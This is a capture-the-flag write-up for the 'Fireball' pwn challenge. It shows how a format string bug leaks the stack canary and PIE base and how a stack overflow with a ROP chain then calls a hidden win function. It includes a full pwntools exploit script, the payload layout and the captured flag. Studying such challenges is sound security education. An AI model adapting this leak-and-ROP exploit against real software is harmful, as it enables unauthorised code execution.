Skip to main content
Fireball - CTF Writeup
  1. Writeups/
  2. CyberSummit V4.0 - CTF Writeups/
  3. Binary Exploitation/

Fireball - CTF Writeup

·683 words·4 mins·
Deadnaut
Author
Deadnaut
Documenting cybersecurity challenges, CTF writeups, and penetration testing insights from the digital frontier.
Table of Contents

Challenge Name: Fireball
Category: PWN
CTF: CyberSummit V4.0 CTF
Description: Enough JJK, all i wanna talk about right now is that giant fireball
Connection: nc 172.205.208.94 9002


Challenge Overview
#

This challenge is a two-stage binary exploitation task. The binary first asks for an identity string, then asks for a phrase. It combines:

  1. A format string vulnerability for leaking runtime values.
  2. A stack overflow protected by a canary.
  3. PIE, NX, and Partial RELRO.

The final objective is to redirect execution into a hidden function win(a, b, c) with strict argument checks:

  • a = 0x1206
  • b = 0x1161
  • c = 0xcafebab

If those values are correct, the binary prints the flag via:

system("/bin/cat /app/flag.txt");

Initial Analysis
#

Binary Information
#

$ file fireball
fireball: ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped

$ checksec fireball
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled

Program Behavior
#

Program flow (simplified):

[LOG] Identity verification required:
 -> reads ident with fgets
 -> prints ident using printf(ident)  <-- format string

[GATE] Provide phrase:
 -> read(0, phrase, 0x100)            <-- overflow

Even though phrase is a small stack buffer, read accepts up to 0x100 bytes.

Vulnerability Discovery
#

1) Format String Leak
#

In auth_flow, user input is printed unsafely:

printf("[LOG] Identity confirmed: ");
printf(ident);

Using controlled %p positions gives reliable leaks:

  • %21$p -> stack canary
  • %29$p -> return-site related PIE leak

Then:

pie_base = leaked_addr - elf.symbols["main"]

This defeats PIE at runtime and makes gadget/function addresses computable.

2) Stack Overflow in Phrase Input
#

The code does:

char phrase[0x30];
read(0, phrase, 0x100);

Actual stack layout from exploitation:

  • phrase at rbp-0x80
  • canary at rbp-0x8

So offset to canary is:

  • 0x78 bytes

That lets us overwrite:

  1. stack canary (must restore leaked value)
  2. saved rbp
  3. return address and full ROP chain

3) Hidden Win Function with Argument Checks
#

win validates all three arguments before printing the flag. If any argument is wrong, it exits.

Therefore, we need controlled register setup for:

  • rdi = 0x1206
  • rsi = 0x1161
  • rdx = 0xcafebab

Exploitation Strategy
#

Overview
#

Attack chain:

  1. Leak canary + PIE using format string.
  2. Compute absolute addresses for gadgets and win.
  3. Build overflow payload preserving canary.
  4. Use ROP gadgets to set rdi/rsi/rdx.
  5. Return to win.

Useful Gadgets (PIE-relative symbols)
#

The binary intentionally exposes helper gadgets:

  • gadget_pop_rdi
  • gadget_pop_rsi
  • gadget_pop_rdx

And one alignment ret gadget from ROP search.

Payload Layout
#

[0x78 bytes padding]
[leaked canary]
[8 bytes saved rbp filler]
[ret]
[pop rdi ; 0x1206]
[pop rsi ; 0x1161]
[pop rdx ; 0xcafebab]
[win]

Complete Exploit Code
#

#!/usr/bin/env python3
from pwn import *

HOST = args.HOST or "127.0.0.1"
PORT = int(args.PORT or 1337)
BIN = "../hosted/fireball"

context.binary = elf = ELF(BIN)
context.arch = "amd64"
rop = ROP(elf)


def start():
  if args.REMOTE:
    return remote(HOST, PORT)
  return process("./fireball", cwd="../hosted")


def main():
  io = start()

  io.recvuntil(b"[LOG] Identity verification required: ")
  io.sendline(b"%21$p.%29$p")

  io.recvuntil(b"[LOG] Identity confirmed: ")
  line = io.recvline().strip()
  canary, main_leak = [int(x, 16) for x in line.split(b".")]
  pie_base = main_leak - elf.symbols["main"]

  pop_rdi = pie_base + elf.symbols["gadget_pop_rdi"]
  pop_rsi = pie_base + elf.symbols["gadget_pop_rsi"]
  pop_rdx = pie_base + elf.symbols["gadget_pop_rdx"]
  ret = pie_base + rop.find_gadget(["ret"]).address
  win = pie_base + elf.symbols["win"]

  log.info(f"canary   = {hex(canary)}")
  log.info(f"pie_base = {hex(pie_base)}")
  log.info(f"win      = {hex(win)}")

  io.recvuntil(b"[GATE] Provide phrase: ")

  payload = b"A" * 0x78
  payload += p64(canary)
  payload += b"B" * 8
  payload += p64(ret)
  payload += p64(pop_rdi) + p64(0x1206)
  payload += p64(pop_rsi) + p64(0x1161)
  payload += p64(pop_rdx) + p64(0xcafebab)
  payload += p64(win)

  io.send(payload)
  io.interactive()


if __name__ == "__main__":
  main()

Result
#

Example remote run:

$ python3 solve.py REMOTE HOST=172.205.208.94 PORT=9002
[*] Opening connection to 172.205.208.94 on port 9002: Done
[*] canary   = 0x...
[*] pie_base = 0x...
[*] win      = 0x...
[*] Switching to interactive mode
[SYSTEM] VIP token accepted.
[SYSTEM] Exfiltrating flag...
CyberTrace{I_Gu3ss_SuKun4_W4sn7_7h4t_B4D}

Final Flag
#

CyberTrace{I_Gu3ss_SuKun4_W4sn7_7h4t_B4D}

Key Takeaways
#

  • Format strings are powerful enough to leak both canary and PIE in one shot.
  • Stack canary does not stop overflow exploitation if the canary is leaked first.
  • PIE only delays exploitation until a reliable leak is obtained.
  • A small, deterministic ROP chain is enough when useful gadgets are present in the binary.

Related